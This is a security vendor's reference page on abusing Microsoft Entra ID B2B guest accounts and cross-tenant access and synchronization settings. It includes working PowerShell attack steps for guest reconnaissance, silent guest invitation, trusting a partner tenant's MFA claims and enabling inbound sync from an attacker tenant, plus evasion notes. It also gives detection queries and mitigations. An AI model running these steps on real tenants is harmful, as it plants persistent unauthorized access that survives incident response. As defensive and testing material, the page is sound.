1. Resources
  2. Identity Threats
  3. Microsoft Entra ID

B2B Guest and Cross-Tenant Access Abuse

Also known as: Guest account persistence, B2B guest abuse, Cross-tenant synchronization backdoor, Cross-tenant access settings abuse, Guest user enumeration

An attacker uses B2B guest accounts and cross-tenant access settings to read a tenant's directory, keep access after eviction, or push accounts from a tenant they control into the victim.

Platform
Microsoft Entra ID
Impact
High
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Any authenticated identity
A guest or member account for invitations and directory reads. Security Administrator (or higher) to change cross-tenant access and inbound synchronization settings.
What the attacker gains
A foothold that survives password resets in the victim tenant: external identities authenticated elsewhere, with whatever access those accounts are then given.
Threat groups
APT28APT29APT33APT38APT5HAFNIUMKe3changLAPSUS$NIMBUS MANTICOREScattered SpiderShinyHuntersStorm-0501TeamPCPVOID MANTICOREGroups that MITRE ATT&CK records using T1078.004, T1484.002, T1136.003, T1087.004.

How it works

A Microsoft Entra tenant can admit identities that it does not authenticate. A B2B collaboration user signs in at a home identity provider and has a user object, a guest, in the resource tenant. What that object may do is decided in the resource tenant: its directory permission level, the groups, roles and applications it is assigned to, and the cross-tenant access settings that apply to its home organization.

Each of those is a legitimate feature, and each can be turned into an attack:

  • Guest invitation as persistence. By default every user, guests included, can invite external users. An attacker with any working account invites an address they control, redeems the invitation, and then adds the guest to groups, application assignments or roles. The guest's password and MFA live in another directory, outside the reach of the victim's response.
  • Permissive guest directory permissions. The guest user access level decides what a guest can read. The default (limited access) blocks enumerating users and groups but still shows the membership of all non-hidden groups. The most inclusive level gives a guest the same directory access as a member, which turns one invited account into full directory reconnaissance.
  • Inbound trust of partner claims. In cross-tenant access settings, a resource tenant can choose to trust MFA, compliant device and hybrid joined device claims from another Entra organization. A Conditional Access policy that requires MFA or a compliant device is then satisfied by what the partner tenant asserts. An attacker who controls that tenant, or who adds their own tenant as a partner, controls the assertion.
  • Cross-tenant synchronization toward an attacker tenant. Cross-tenant synchronization provisions B2B users from a source tenant into a target tenant. It is a push from the source: the users in scope and the attribute mappings are configured in the source tenant, and the target only allows or refuses inbound synchronization. An attacker with enough rights in the victim tenant adds their own tenant as a partner, allows inbound synchronization and turns on automatic redemption. From then on they can create users in the victim tenant from their own, with no invitation email and no consent prompt. Synchronized users are created as external members by default, not as guests.

Defaults and partner-specific settings both matter. A change to the default cross-tenant settings applies to every organization that has no specific entry, so one edit can admit any tenant.

Prerequisites

  • Invitation: any member or guest account, while the tenant keeps the default invite setting. More restrictive settings need a member account or the Guest Inviter role.
  • Guest reconnaissance: a redeemed guest account. How much it reads depends on the guest user access level.
  • Inbound trust and synchronization changes: a role that can edit cross-tenant access settings. Microsoft's own procedure uses Security Administrator.
  • For the synchronization variant: a tenant the attacker controls, with the licensing cross-tenant synchronization requires, to act as the source.
  • For any variant to be worth it, the external identity must then receive access: a group, an application assignment, a directory role or an Azure role. The guest object alone is a relationship, not a permission.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Read the tenant's external collaboration posture

Connect-MgGraph -Scopes "Policy.Read.All"

# Who may invite, and what guests may read
Get-MgPolicyAuthorizationPolicy | Select-Object AllowInvitesFrom, GuestUserRoleId

# Partner organizations with their own cross-tenant settings
Get-MgPolicyCrossTenantAccessPolicyPartner -All

GuestUserRoleId maps to the access level:

Role ID Guest user access
a0b1b346-4d3e-4e8b-98f8-753987be4970 Same access as members
10dae51f-b6af-4016-8d66-8c2a99b929b3 Limited access (default)
2af84b1e-32c8-42b7-82bc-daa82404023b Restricted to the guest's own directory object

2. Enumerate the directory as a guest

From an account that is a guest in the target tenant, AADInternals reads what the guest level allows:

Import-Module AADInternals

# Get an access token and save it to the cache, then list the tenants the account can reach
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
Get-AADIntAzureTenants

# Tenant recon and user, group and role crawl as a guest
$results = Invoke-AADIntReconAsGuest
$results = Invoke-AADIntUserEnumerationAsGuest -UserName "alice@corp.example.com"

3. Invite a guest for persistence

Connect-MgGraph -Scopes "User.Invite.All"

New-MgInvitation -InvitedUserDisplayName "Alex Wilber" `
    -InvitedUserEmailAddress "alex@partner.example" `
    -InviteRedirectUrl "https://myapplications.microsoft.com" `
    -SendInvitationMessage:$false

The output contains InviteRedeemUrl. With no invitation email sent, the attacker opens that URL as the invited identity to redeem it. Passing -InvitedUserType Member creates the external user as a member instead of a guest. The account then needs access: membership in a group that carries application or role assignments is the usual next step.

4. Make the tenant trust a partner's MFA and device claims

Connect-MgGraph -Scopes "Policy.ReadWrite.CrossTenantAccess"

$PartnerTenantId = "00000000-0000-0000-0000-000000000000"

# Add the partner organization, then accept its MFA and device claims
New-MgPolicyCrossTenantAccessPolicyPartner -BodyParameter @{ TenantId = $PartnerTenantId }
Update-MgPolicyCrossTenantAccessPolicyPartner `
    -CrossTenantAccessPolicyConfigurationPartnerTenantId $PartnerTenantId `
    -BodyParameter @{ inboundTrust = @{ isMfaAccepted = $true; isCompliantDeviceAccepted = $true } }

5. Open the tenant to inbound synchronization from an attacker tenant

These are the target-tenant steps of Microsoft's own configuration procedure, run in the victim tenant with the attacker's tenant as the source:

Connect-MgGraph -TenantId $TargetTenantId -Scopes "Policy.Read.All","Policy.ReadWrite.CrossTenantAccess"

# Add the source (attacker) tenant as a partner
New-MgPolicyCrossTenantAccessPolicyPartner -BodyParameter @{ TenantId = $SourceTenantId } | Format-List

# Allow users to be synchronized into this tenant
$Params = @{ userSyncInbound = @{ isSyncAllowed = $true } }
Set-MgPolicyCrossTenantAccessPolicyPartnerIdentitySynchronization `
    -CrossTenantAccessPolicyConfigurationPartnerTenantId $SourceTenantId -BodyParameter $Params

# Redeem invitations automatically: no consent prompt for the synchronized users
$AutomaticUserConsentSettings = @{ "InboundAllowed" = "True" }
Update-MgPolicyCrossTenantAccessPolicyPartner `
    -CrossTenantAccessPolicyConfigurationPartnerTenantId $SourceTenantId `
    -AutomaticUserConsentSettings $AutomaticUserConsentSettings

The rest happens in the attacker's own tenant, where the victim has no visibility: allow outbound automatic redemption, create the synchronization configuration, assign users to it and start the job. Each user in scope appears in the victim tenant as an external member.

Impact

The direct result is identities in the victim tenant that the victim does not authenticate. What they can do depends on what they are given, and an attacker who can invite or synchronize accounts usually also adds them to a group, assigns them an application, or, with higher rights, gives them a directory or Azure role. From there the guest is a normal cloud account for every later step.

The persistence value is high. Evicting an attacker normally means resetting credentials and revoking sessions for the organization's own users. A guest, a trusted partner tenant and an inbound synchronization setting are all untouched by that. A synchronization setting is the strongest of the three: delete the pushed users and the attacker pushes new ones.

Trusting a foreign tenant's MFA and device claims weakens every Conditional Access policy that relies on those controls for external users, without any policy being edited, which makes it a quieter relative of Conditional Access policy tampering. Guest directory reads expose users, groups and group membership for targeting.

OPSEC and artifacts

  • Invitations that look like business. A guest from a plausible partner domain, invited by a compromised user who already invites guests, blends in. The audit log still records Invite external user with the inviter and the invited address, and the user object carries userType, externalUserState and creation time.
  • No invitation email. Redeeming the URL directly avoids mail that someone might notice. Redemption is still recorded on the user object, and the guest's later sign-ins appear in the resource tenant's sign-in logs with a HomeTenantId that differs from the ResourceTenantId.
  • Reusing an existing partner. Editing a partner entry that already exists draws less attention than adding a new organization. Either way the change is audited: Add a partner to cross-tenant access setting or Update a partner cross-tenant access setting, with the partner's tenant ID in the target.
  • Synchronization instead of invitation. Pushed users arrive with no invitation activity by a local user. The setting change is the trace: Create a partner cross-tenant identity sync setting or Update a partner cross-tenant identity sync setting, followed by new external user objects.
  • Changing the guest access level is an Update authorization policy activity.
  • Out of sight: the synchronization configuration, its scope and its attribute mappings live in the source tenant. Guest directory reads through Microsoft Graph are only visible where Microsoft Graph activity logs are collected.

Detection

// Changes to cross-tenant access and identity synchronization settings
AuditLogs
| where Category in~ ("CrossTenantAccessSettings", "CrossTenantIdentitySyncSettings")
    or OperationName contains "cross-tenant access"
| project TimeGenerated, Category, OperationName, Result, CorrelationId,
          InitiatedBy, TargetResources
| order by TimeGenerated asc
// Sign-ins by identities whose home tenant is not this tenant
SigninLogs
| where isnotempty(HomeTenantId) and isnotempty(ResourceTenantId)
| where HomeTenantId != ResourceTenantId
| project TimeGenerated, AppId, UserId, HomeTenantId, ResourceTenantId,
          CrossTenantAccessType, ResourceDisplayName, ResultType, CorrelationId

The two audit categories are separate surfaces: one governs collaboration and which partner claims are trusted, the other governs provisioning of synchronized users. A change to either alters who is admissible without altering any permission, so pair the change time with the sign-in population before and after it. Routine partner collaboration matches the sign-in query, and SigninLogs holds interactive sign-ins only; non-interactive and service principal sign-ins are in their own tables. A default-setting change is one event that affects every organization without a specific entry.

Mitigation

  • Limit who can invite. Set guest invite settings to specific admin roles, and give the Guest Inviter role to the people who need it.
  • Restrict what guests can read. Select the most restrictive guest user access level unless a workload needs more, and never the member-equivalent level.
  • Treat cross-tenant access settings as Tier 0 configuration. Keep the roles that can edit them small, require just-in-time activation, and reconcile partner entries with approved business relationships. Check the inbound trust settings of each partner and of the defaults, and block inbound synchronization by default.
  • Review external users. Run recurring access reviews of guests and their group, application and role assignments, and remove guests who never redeemed or no longer sign in. Guests should not hold privileged directory roles.
  • Apply Conditional Access to external users as its own population, and decide per partner whether their MFA and device claims are accepted.
  • Include external identities in incident response. After an intrusion, list guests and partner entries created or changed during the window, and remove them along with their assignments. The Microsoft 365 audit log and Teams external access guide covers the audit side of external collaboration.

Detection rules for this attack

Log events to collect

FAQ

What can a guest user see in an Entra ID tenant by default?

The default guest permission level is limited access. Microsoft documents that it blocks tasks such as enumerating users and groups, but a guest can still see the membership of all non-hidden groups. The most inclusive level gives guests the same directory access as members, and the most restrictive level, which has to be selected, confines a guest to its own profile.

Who can invite guests by default?

Everyone. By default all users in the organization, including existing B2B guests, can invite external users. The setting can be limited to members and specific admin roles, to admin roles only (users with the Guest Inviter role can still invite), or turned off for everyone.

Why does a guest account survive an incident response?

A guest authenticates at its home identity provider. Resetting passwords, revoking sessions and re-registering MFA for the organization's own users does not touch it. The guest object, its group memberships, its role assignments and its application assignments stay until someone removes them, so an invitation made during the intrusion keeps working afterwards.

Does trusting a partner's MFA give the partner any permissions?

No. Inbound trust settings change how Conditional Access conditions can be met: an MFA claim or a compliant device claim issued by the partner tenant is accepted. They do not assign a directory role or a subscription role. The risk is that an attacker who controls the partner tenant decides what those claims say.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.